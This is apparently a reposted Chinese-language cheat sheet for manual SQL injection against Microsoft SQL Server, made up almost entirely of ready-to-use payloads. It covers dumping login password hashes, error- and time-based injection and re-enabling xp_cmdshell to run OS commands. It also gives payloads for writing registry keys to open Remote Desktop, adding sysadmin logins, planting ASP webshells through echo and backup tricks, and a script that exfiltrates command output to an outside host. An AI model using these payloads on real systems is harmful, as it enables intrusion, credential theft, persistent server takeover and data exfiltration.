1. 程式人生 > >MSSQL手工註入輔助工具

MSSQL手工註入輔助工具

align conn 臨時表 app row del init 字數 rev

mssql > 基本環境信息
語句及說明
#數據庫版本SELECT @@version
#主機名,IP地址SELECT HOST_NAME()
#當前用戶SELECT user_name();SELECT system_user;SELECT user;SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
#列出所有用戶SELECT name FROM master..syslogins
#列密碼 mssql 2000SELECT name, password FROM master..sysxlogins --*SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins --*
#列密碼 mssql 2005SELECT name, password_hash FROM master.sys.sql_logins --*SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins --*
註射類型: 普通
適用環境: 常規

備註說明:1. 語句末尾加 --* 表示需要管理權限才能執行的語句2. MSSQL 2000 and 2005 Hashes are both SHA1-based
mssql > 列舉數據庫
語句及說明
#當前庫SELECT DB_NAME()
#列舉庫SELECT name FROM master..sysdatabases;SELECT DB_NAME(N); — 其中N = 0, 1, 2,
註射類型: 普通
適用環境: 常規

備註說明:默認系統庫有以下:northwindmodelmsdbpubs — sql server 2005 沒有此庫tempdb
mssql > 列舉表名

語句及說明#列舉表SELECT name FROM 庫名..sysobjects WHERE xtype = ‘U‘;
#根據字段名列表名SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM 庫名..sysobjects JOIN 庫名..syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U‘ AND syscolumns.name LIKE ‘%字段名%‘
mssql > 列舉字段名
語句及說明#列舉當前庫中的表的字段SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘表名‘);
#列舉master庫中的表的字段SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=‘表名‘;
mssql > 單條數據獲取
語句及說明#獲取第 NNN 條數據SELECT TOP 1 name FROM (SELECT TOP NNN name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC

mssql > 權限相關
語句及說明#判斷當前用戶權限SELECT is_srvrolemember(‘sysadmin‘);SELECT is_srvrolemember(‘dbcreator‘);SELECT is_srvrolemember(‘bulkadmin‘);SELECT is_srvrolemember(‘diskadmin‘);SELECT is_srvrolemember(‘processadmin‘);SELECT is_srvrolemember(‘serveradmin‘);SELECT is_srvrolemember(‘setupadmin‘);SELECT is_srvrolemember(‘securityadmin‘);
#判斷某指定用戶的權限SELECT is_srvrolemember(‘sysadmin‘, ‘sa‘);
#判斷是否是庫權限and 1=(Select IS_MEMBER(‘db_owner‘))
#判斷是否有庫讀取權限and 1= (Select HAS_DBACCESS(‘master‘))
#獲取具有某個權限的用戶名SELECT name FROM master..syslogins WHERE denylogin = 0;SELECT name FROM master..syslogins WHERE hasaccess = 1;SELECT name FROM master..syslogins WHERE isntname = 0;SELECT name FROM master..syslogins WHERE isntgroup = 0;SELECT name FROM master..syslogins WHERE sysadmin = 1;SELECT name FROM master..syslogins WHERE securityadmin = 1;SELECT name FROM master..syslogins WHERE serveradmin = 1;SELECT name FROM master..syslogins WHERE setupadmin = 1;SELECT name FROM master..syslogins WHERE processadmin = 1;SELECT name FROM master..syslogins WHERE diskadmin = 1;SELECT name FROM master..syslogins WHERE dbcreator = 1;SELECT name FROM master..syslogins WHERE bulkadmin = 1;
#當前所擁有的權限SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE‘); — current databaseSELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER‘); — current serverSELECT permission_name FROM master..fn_my_permissions(‘master..syslogins‘, ‘OBJECT‘); –permissions on a tableSELECT permission_name FROM master..fn_my_permissions(‘sa‘, ‘USER‘);
註射類型: 普通
適用環境: 常規

備註說明:/*服務器角色*/sysadmin--在 SQL Server 中進行任何活動。該角色的權限跨越所有其它固定服務器角色。serveradmin--配置服務器範圍的設置。setupadmin--添加和刪除鏈接服務器,並執行某些系統存儲過程(如 sp_serveroption)。securityadmin--管理服務器登錄。processadmin--管理在 SQL Server 實例中運行的進程。dbcreator--創建和改變數據庫。diskadmin--管理磁盤文件。bulkadmin--執行 BULK INSERT 語句。
/*數據庫角色*/publicpublic 角色--public 角色是一個特殊的數據庫角色,每個數據庫用戶都屬於它。public 角色:--捕獲數據庫中用戶的所有默認權限。--無法將用戶、組或角色指派給它,因為默認情況下它們即屬於該角色。--含在每個數據庫中,包括 master、msdb、tempdb、model 和所有用戶數據庫。--無法除去。db_owner--進行所有數據庫角色的活動,以及數據庫中的其它維護和配置活動。--該角色的權限跨越所有其它固定數據庫角色。db_accessadmin--在數據庫中添加或刪除 Windows NT 4.0 或 Windows 2000 組和用戶以及 SQL Server 用戶。db_datareader--查看來自數據庫中所有用戶表的全部數據。db_datawriter--添加、更改或刪除來自數據庫中所有用戶表的數據db_ddladmin--添加、修改或除去數據庫中的對象(運行所有 DDL)db_securityadmin--管理 SQL Server 2000 數據庫角色的角色和成員,並管理數據庫中的語句和對象權限db_backupoperator--有備份數據庫的權限db_denydatareader--拒絕選擇數據庫數據的權限db_denydatawriter--拒絕更改數據庫數據的權限
mssql > 顯錯註入
語句及說明#直接與數字比較id=1 and @@version>0--id=1 and user>0--id=1 and db_name()>0--
#將數據轉換成整數致報錯,可用於爆庫名,表名,數據名id=1 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--
#having 1=1爆數據id=13 having 1=1 --id=13 group by 表名.字段名1,字段名2 having 1=1 --
mssql > 延時註入
語句及說明#延時3秒IF(ascii(SUBSTRING(‘name‘,1,1))>0) waitfor delay‘0:0:3‘

mssql > 命令執行
語句及說明
#判斷功能是否存在and select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread‘) #註冊表and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask‘) #備份and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc‘) #恢復擴展and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs‘) #讀取子目錄and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree‘) #列目錄
#恢復與刪除擴展exec sp_addextendedproc xp_cmdshell,‘xplog70.dll‘exec sp_dropextendedproc ‘xp_cmdshell‘
#恢復xp_cmdshellEXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘show advanced options‘, 0 --
#訪問COM組件;declare @s int;;exec sp_oacreat ‘wscript.shell‘,@s;exec master..spoamethod @s,‘run‘,null,‘cmd.exe/c dir c:\
#執行命令EXEC xp_cmdshell ‘net user‘;
#寫註冊表exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,0;--
#讀註冊表create table labeng(lala nvarchar(255), id int);DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘,@result output insert into labeng(lala) values(@result); #讀網站目錄
#寫shellexec master.dbo.xp_cmdshell ‘echo ^<%eval request("o")%^> >E:\wwwroot\1.asp‘; --
#停掉或激活某個服務exec master..xp_servicecontrol ‘stop‘,‘schedule‘exec master..xp_servicecontrol ‘start‘,‘schedule‘
#添加、刪除、設置用戶為DBA的操作EXEC sp_addlogin ‘user‘, ‘pass‘;EXEC sp_droplogin ‘user‘;EXEC master.dbo.sp_addsrvrolemember ‘user‘, ‘sysadmin‘;
#獲取DB文件位置信息EXEC sp_helpdb master; -- master.mdf位置

mssql > 文件讀寫
語句及說明#文件讀取 (創建臨時表,bulk insert讀取內容到表)CREATE TABLE mydata (line varchar(8000));BULK INSERT mydata FROM ‘c:\boot.ini‘;DROP TABLE mydata;
#文件讀取 (創建臨時表,insert & xp_cmdshell讀取內容)create table mytmp(data varchar(4000)); --insert mytmp exec master.dbo.xp_cmdshell ‘ipconfig /all‘; --
#頁面無回顯時,讀取命令執行內容 (需目標機器可連外網) (先寫入JS,然後通過執行JS將命令執行內容,通過ajax發送給接收端)exec master.dbo.xp_cmdshell ‘echo (function(){var ws=new ActiveXObject("WScript.shell"),cmd="cmd.exe /c dir c:\\";var data=ws.exec(cmd).stdout.ReadAll();var ajax=new ActiveXObject("Microsoft.xmlhttp");ajax.open("POST","http://itsokla.duapp.com/cmd.php",false);ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajax.send("cmd="+encodeURIComponent(cmd)+"&data="+encodeURIComponent(encodeURIComponent(data)));})() > c:\e.js‘ --exec master.dbo.xp_cmdshell ‘wscript c:\e.js‘ --

mssql > 差異備份
語句及說明#差異備份1. 將數據庫備份一次,路徑隨便backup database 庫名 to disk = ‘c:\xxxxx.bak‘;--2. 創建臨時表,並寫入shell內容create table [dbo].[dtest] ([cmd] [image]);insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--3. 差異備份,將新增內容,備份至SHELLbackup database 庫名 to disk=‘目標位置\d.asp‘ WITH DIFFERENTIAL,FORMAT;--
#log備份1. 設置數據庫恢復模式為FULLalter database 當前庫名 set RECOVERY FULL--2. 創建臨時表create table cmd (a image)--3. 備份日誌一次backup log 當前庫名 to disk = ‘f:\cmd‘ with init--4. 在表內插入shell內容insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--5. 再次備份日誌backup log 當前庫名 to disk = ‘備份路徑‘--6. 刪除臨時表drop table cmd--7. 改變數據庫恢復模式為SIMPLEalter database 當前庫名 set RECOVERY SIMPLE--

mssql > 判斷及字符串相關
語句及說明#取子字符串SELECT substring(‘abcd‘, 3, 1) --返回c
#ascii轉charSELECT char(0x41) -- 返回ASELECT char(65) -- 返回A
#char轉asciiSELECT ascii(‘A‘) -- 返回65
#類型轉換SELECT CAST(‘1‘ as int);SELECT CAST(1 as char);CONVERT (數據類型,表達式)
#字符串連接SELECT ‘A‘ + ‘B‘ – returns AB
#位運算SELECT 6 & 2 — returns 2SELECT 6 & 1 — returns 0
#if 判斷IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
#case 判斷SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
註射類型: 普通
適用環境: 常規

備註說明:字符串相關函數索引-------------------------------ASCII返回字符表達式最左端字符的 ASCII 代碼值
NCHAR根據 Unicode 標準所進行的定義,用給定整數代碼返回 Unicode 字符。
SOUNDEX返回由四個字符組成的代碼 (SOUNDEX) 以評估兩個字符串的相似性。
CHAR將 int ASCII 代碼轉換為字符的字符串函數。
PATINDEX返回指定表達式中某模式第一次出現的起始位置;如果在全部有效的文本和字符數據類型中沒有找到該模式,則返回零。
SPACE返回由重復的空格組成的字符串。
CHARINDEX返回字符串中指定表達式的起始位置。
REPLACE用第三個表達式替換第一個字符串表達式中出現的所有第二個給定字符串表達式。
STR由數字數據轉換來的字符數據。
DIFFERENCE以整數返回兩個字符表達式的 SOUNDEX 值之差。
QUOTENAME返回帶有分隔符的 Unicode 字符串,分隔符的加入可使輸入的字符串成為有效的 Microsoft? SQL Server? 分隔標識符。
STUFF刪除指定長度的字符並在指定的起始點插入另一組字符。
LEFT返回從字符串左邊開始指定個數的字符。
REPLICATE以指定的次數重復字符表達式。
SUBSTRING返回字符、binary、text 或 image 表達式的一部分。有關可與該函數一起使用的有效 Microsoft? SQL Server? 數據類型的更多信息,請參見數據類型。
LEN返回給定字符串表達式的字符(而不是字節)個數,其中不包含尾隨空格。
REVERSE返回字符表達式的反轉
UNICODE按照 Unicode 標準的定義,返回輸入表達式的第一個字符的整數值。
LOWER將大寫字符數據轉換為小寫字符數據後返回字符表達式。
RIGHT返回字符串中從右邊開始指定個數的 integer_expression 字符。
UPPER返回將小寫字符數據轉換為大寫的字符表達式
LTRIM刪除起始空格後返回字符表達式。
RTRIM 截斷所有尾隨空格後返回一個字符串。


來自為知筆記(Wiz)

MSSQL手工註入輔助工具